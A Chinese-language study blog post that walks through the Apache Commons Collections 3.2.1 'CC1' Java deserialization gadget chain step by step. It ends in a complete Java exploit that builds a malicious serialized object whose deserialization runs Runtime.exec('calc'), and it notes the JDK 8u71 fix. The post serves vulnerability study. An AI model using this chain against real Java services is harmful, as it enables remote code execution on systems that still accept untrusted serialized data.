Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。。
commons-collections组件反序列化漏洞的反射链也称为CC链,自从apache commons-collections组件爆出第一个java反序列化漏洞后,就像打开了java安全的新世界大门一样,之后很多java中间件相继都爆出反序列化漏洞。本文分析java反序列化CC1链,前置知识是java安全基础中的反射。
环境搭建:
导入Maven依赖
<dependency>
<groupId>commons-collectionsgroupId>
<artifactId>commons-collectionsartifactId>
<version>3.2.1version>
dependency>
当然也可以 用传统的 lib
包下导入add as a library
因为jdk自带的包里面有些文件是反编译的.class文件,我们没法清楚的看懂代码,为了方便我们调试,我们需要将他们转变为.java的文件,这就需要我们安装相应的源码:
下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
点击左下角的zip即可下载,然后解压。
再进入到相应JDK的文件夹中,里面本来就有个src.zip的压缩包,我们解压到当前文件夹下,然后把之前源码包(jdk-af660750b2f4.zip)中/src/share/classes
下的sun文件夹 拷贝到 /jdk8/src
文件夹(自己解压同目录下src压缩包)中去。
打开IDEA,选择文件 --->项目结构 --->SDK --->源路径
把src文件夹添加到源路径下,保存即可。
CC1链 利用过程分析:
利用链:
先把整段链子给出来,我们再倒推逐个分析。
AnnotationInvocationHandler.readObject()-->
AbstractInputCheckedMapDecorator.MapEntry.setValue()-->
TransformedMap.checkSetValue()-->
ChainedTransformer.transform()-->
InvokerTransformer.transform()
和URLDNS链一样,起点肯定是某个类的readObject()
方法,要可序列化必须重写readObject()
方法,接受任意对象作为参数。
0x01
CC1链的末尾(入口/源头)就是Commons Collections库中的Tranformer
接口,这个接口里面有个transform
方法。
查看Tranformer
接口中transform
方法的实现:
方法一:
方法二: (Ctrl+Alt+F7)
聚焦到包org.apache.commons.collections.functors
中的InvokerTransformer
类实现了Tranformer
接口中transform
方法。此方法接收了一个对象,然后反射调用,参数可控就导致了反射调用任意类 任意方法。
我们尝试用InvokerTransformer
类中的transform
方法弹个计算器(执行命令calc)。
首先看看InvokerTransformer
类的有参构造函数怎么用:
实现代码如下:
package com.jiangshiqi.xxx.CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException;
import java.lang.reflect.*;
public class CC1 {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
//正常 调用可命令执行的方法
//Runtime.getRuntime().exec("calc");
Runtime cmd = Runtime.getRuntime();
//使用反射 调用可命令执行的方法
//Class clazz = Runtime.class;
//Method cmdMethod = clazz.getMethod("exec", String.class);
//cmdMethod.invoke(cmd, "calc");
//InvokerTransformer类 调用可命令执行的方法
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(cmd);
}
}
那么链子的最后一步就实现了。
0x02
知道了InvokerTransformer
类可以调用transform()
方法执行命令,那接下来的思路就是寻找还有其他什么地方调用了InvokerTransformer
类的transform()
方法。
顺带补充一句,自己找的时候,不要找不同类transform()
方法调用InvokerTransformer
类的transform()
方法,这种情况就是transform()
方法再去调用transform()
方法,没有意义。
我们是想要回到某个类的readObject()
方法,如上情况永远回不去。
**开始进一步找链子。**还是老方法,查找用法。要是找不到的话(卡了我挺久)点击右边maven,选择下载源代码。这样找到的就全了。
重点看到这三个Map集合,在这里就产生了2种CC链,一种是国外原版的,也就是ysoserial里的,另一种是流传到国内的另一个版本。Lazymap
是国外的,Transformmap
是国内的(我们主要讲这个)。两种方法在本质和原理上一样的。顺便提一嘴,自己挖链子的时候,三个map一般也是选择从Transformedmap
类下手,因为结果(用法)多,好下手。
那么我们来分析一下TransformedMap类:
在TransformedMap
类中调用了checkSetValue()
方法,其中就调用了transform
。
调用方式是valueTransformer.transform(value);
,那我们要做到可控的话就要找TransformedMap
类的构造函数了。
构造函数是有参构造函数,类型是protected
,所以不能在外部直接调用,那么我们就要找TransformedMap
类哪个方法调用了构造函数。
非常好找,TransformedMap
类的decorate
方法调用了TransformedMap
类的构造函数。
还是老方法查找用法。AbstractInputCheckedMapDecorator
类中的MapEntry
类的setValue()
方法 调用了 TransformedMap
类中的checkSetValue()
方法
而且我们可以看到AbstractInputCheckedMapDecorator
类其实上是Transformedmap
的父类。
加上TransformedMap
类 和 AbstractInputCheckedMapDecorator
类中的MapEntry
类 后,我们尝试用代码实现调用计算器。
package com.jiangshiqi.xxx.CC;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
//正常 调用可命令执行的方法
//Runtime.getRuntime().exec("calc");
Runtime cmd = Runtime.getRuntime();
//原先是
//new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(cmd);
InvokerTransformer invoker= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Map<Object,Object> map=new HashMap<>();
map.put("明天返校了","又是一年秋风萧瑟");
//TransformedMap.decorate方法调用TransformedMap的构造方法。
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invoker);
//构造方法把invoker实例赋值给TransformedMap.valueTransformer属性。
//AbstractInputCheckedMapDecorator类中的MapEntry类的setValue()方法(作用是遍历map) 调用了 TransformedMap类中的checkSetValue()方法
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(cmd);
}
//TransformedMap类中的checkSetValue()方法调用了TransformedMap.valueTransformer.transform(value)
//相当于invoker.transform(value),value就是上面entry.setValue(cmd)方法的参数cmd。
}
}
我们的链子进一步完善。
0x03
继续倒推,是什么方法调用了AbstractInputCheckedMapDecorator.MapEntry
类的setValue()
方法呢?
AnnotationInvocationHandler
类的readObject()
方法调用了setValue()
方法。直接一步到位了。
调用格式是memberValue.setValue(...)
。
AnnotationInvocationHandler
类没有被public
声明(default类型),仅可在同一个包下可访问也就是在外面无法通过名字来调用,因此只可以用反射获取这个类。
再看看这个类的构造方法。参数是一个Class
对象,一个Map
对象,其中Class
继承了Annotation
,也就是需要传入一个注解类进去(Target或者Override)。
注解举个例子就是我们经常会见到的@Override
。这里我们选择Target
,后面会解释。
反射获取这个类 示例代码:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
Object o = annotationConstructor.newInstance(Target.class, transformedMap);
目前我们的CC1利用EXP已经有了个骨架,但是还是存在些许问题。
package com.jiangshiqi.xxx.CC;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
//正常 调用可命令执行的方法
//Runtime.getRuntime().exec("calc");
Runtime cmd = Runtime.getRuntime();
InvokerTransformer invoker = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map<Object, Object> map = new HashMap<>();
map.put("明天返校了", "又是一年秋风萧瑟");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invoker);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
Object obj = annotationConstructor.newInstance(Target.class, transformedMap);
serialize(obj); //序列化
unserialize("ser1.bin"); //反序列化
}
//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}
//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
目前的链子:
问题们如下:
1、AnnotationInvocationHandler
类的readObject()
方法调用 的setValue()
方法的参数不可控。
2、AnnotationInvocationHandler
类的readObject()
方法 要是想调用setValue()
方法,得绕过两个if判断。
3、EXP中Runtime对象cmd
因为Runtime类没有继承Serializable
接口,不可以被序列化。
我们先解决问题3:Runtime对象不可以被序列化。
虽然Runtime对象不可以被序列化,但是class可以被序列化。
所以我们从反射下手,用反射实现Runtime
。
//使用反射 调用可命令执行的方法
Class clazz = Runtime.class;
Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
Runtime cmd = (Runtime) getRuntimeMethod.invoke(null, null);
Method cmdMethod = clazz.getMethod("exec", String.class);
cmdMethod.invoke(cmd, "calc");
利用Invokertransformer和反射可以成功调用Runtime.getRuntime().exec
方法 的代码段如下:
//Class clazz = Runtime.class;
//Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
Method getRunmethod = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//Runtime cmd = (Runtime) getRuntimeMethod.invoke(null, null);
Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRunmethod);
//Method cmdMethod = clazz.getMethod("exec", String.class);
//cmdMethod.invoke(cmd, "calc");
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(cmd);
这三行实现看起来都差不多,其实是transform
方法的循环调用。
解释一下第一行Method getRunmethod = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
第一个括号内的三个参数是 Invokertransformer
类的构造函数的参数。传入的第一个参数String代表你需要调用的方法,第二个参数new Class[]数组代表你方法需要的参数类型,第三个参数new Object[]数组代表方法参数的具体值
第二个括号内的一个参数是 Invokertransformer
类的transform
方法的参数。这个参数是一个类,构造函数传入的参数作为这个类调用的方法。
但是回顾我们的EXP,我们在实现链子TransformedMap.checkSetValue()->InvokerTransformer.transform()
时候我们往TransformedMap
实例传入了一个InvokerTransformer
实例。
但是现在这个InvokerTransformer
实例没有了,被拆成了多个,就是上述三行代码,得想个办法统合起来。
聚焦到org.apache.commons.collections.functors
包下面的ChainedTransformer
类。
这个类存在transform
方法可以帮我们遍历InvokerTransformer,并且循环调用遍历的InvokerTransformer的transform
方法
实现代码段:
//Method getRunmethod = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRunmethod);
//new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(cmd);
Transformer[] transformerArray=new Transformer[]{
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
chainedTransformer.transform(Runtime.class);
把上面这段实现代码段写到EXP里面后,还是执行不了命令,因为还有两个问题待解决。
我们再解决问题2:绕过两个if判断。
目前我们的的EXP如下:
package com.jiangshiqi.xxx.CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformerArray=new Transformer[]{
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
Map<Object, Object> map = new HashMap<>();
map.put("明天返校了", "又是一年秋风萧瑟");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
Object obj = annotationConstructor.newInstance(Target.class, transformedMap);
serialize(obj); //序列化
unserialize("ser1.bin"); //反序列化
}
//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}
//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
我们调试一下,会发现到第一个if判断时,条件是memberType != null
。目前我们的memberType
是空(null)。第一个if就过不去。
仔细审计源码后发现,memberType
是获取注解中成员变量的名称,然后并且检查HashMap
键值对中键名是否是对应的名称。注解类(Target或者Override)
这里解释为什么前文注解类我们使用Target
而不是Override
。因为Override
没有成员变量,而Target
有成员变量名称是value
。
因此我们的EXP进行如下修改:
调试,成功进入第一个if。
第二个if判断能不能强转,我们传的肯定强转不了,就一定能过。
最后我们来解决我们的问题1 :AnnotationInvocationHandler
类的readObject()
方法调用 的setValue()
方法的参数不可控。
我们的目标是使得setValue()
方法的参数是Runtime.class
。
聚焦到org.apache.commons.collections.functors
包下的ConstantTransformer
类。它里面的transform就是返回我们传入的对象,如果我们传入Runtime.class
,那返回的也即是Runtime.class
。我们可以利用ConstantTransformer
类解决问题1。
最终EXP如下:
package com.jiangshiqi.xxx.CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformerArray=new Transformer[]{
new ConstantTransformer(Runtime.class), //解决问题一:AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
Map<Object, Object> map = new HashMap<>();
map.put("value", "又是一年秋风萧瑟");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
Object obj = annotationConstructor.newInstance(Target.class, transformedMap);
serialize(obj);
unserialize("ser1.bin");
}
//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}
//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
最终链子:(其实和上一次一样,就是解决了一些问题)
在jdk1.8.0.71中修复了AnnotationInvocationHandler
类的readObject方法,因此CC1无效了其他的链出现了。
前文提到CC1链分国外(Lazymap
)国内(Transformmap
),我们刚刚跟的是国内的,yso的CC1是国外的。国外CC1链如下。
CC1到此就结束啦,作为人生中第一条反序列化链,学的确实艰辛,也留下了一些还不太理解的地方。但是学习毕竟不是一蹴而就的,前路漫漫我们慢慢学。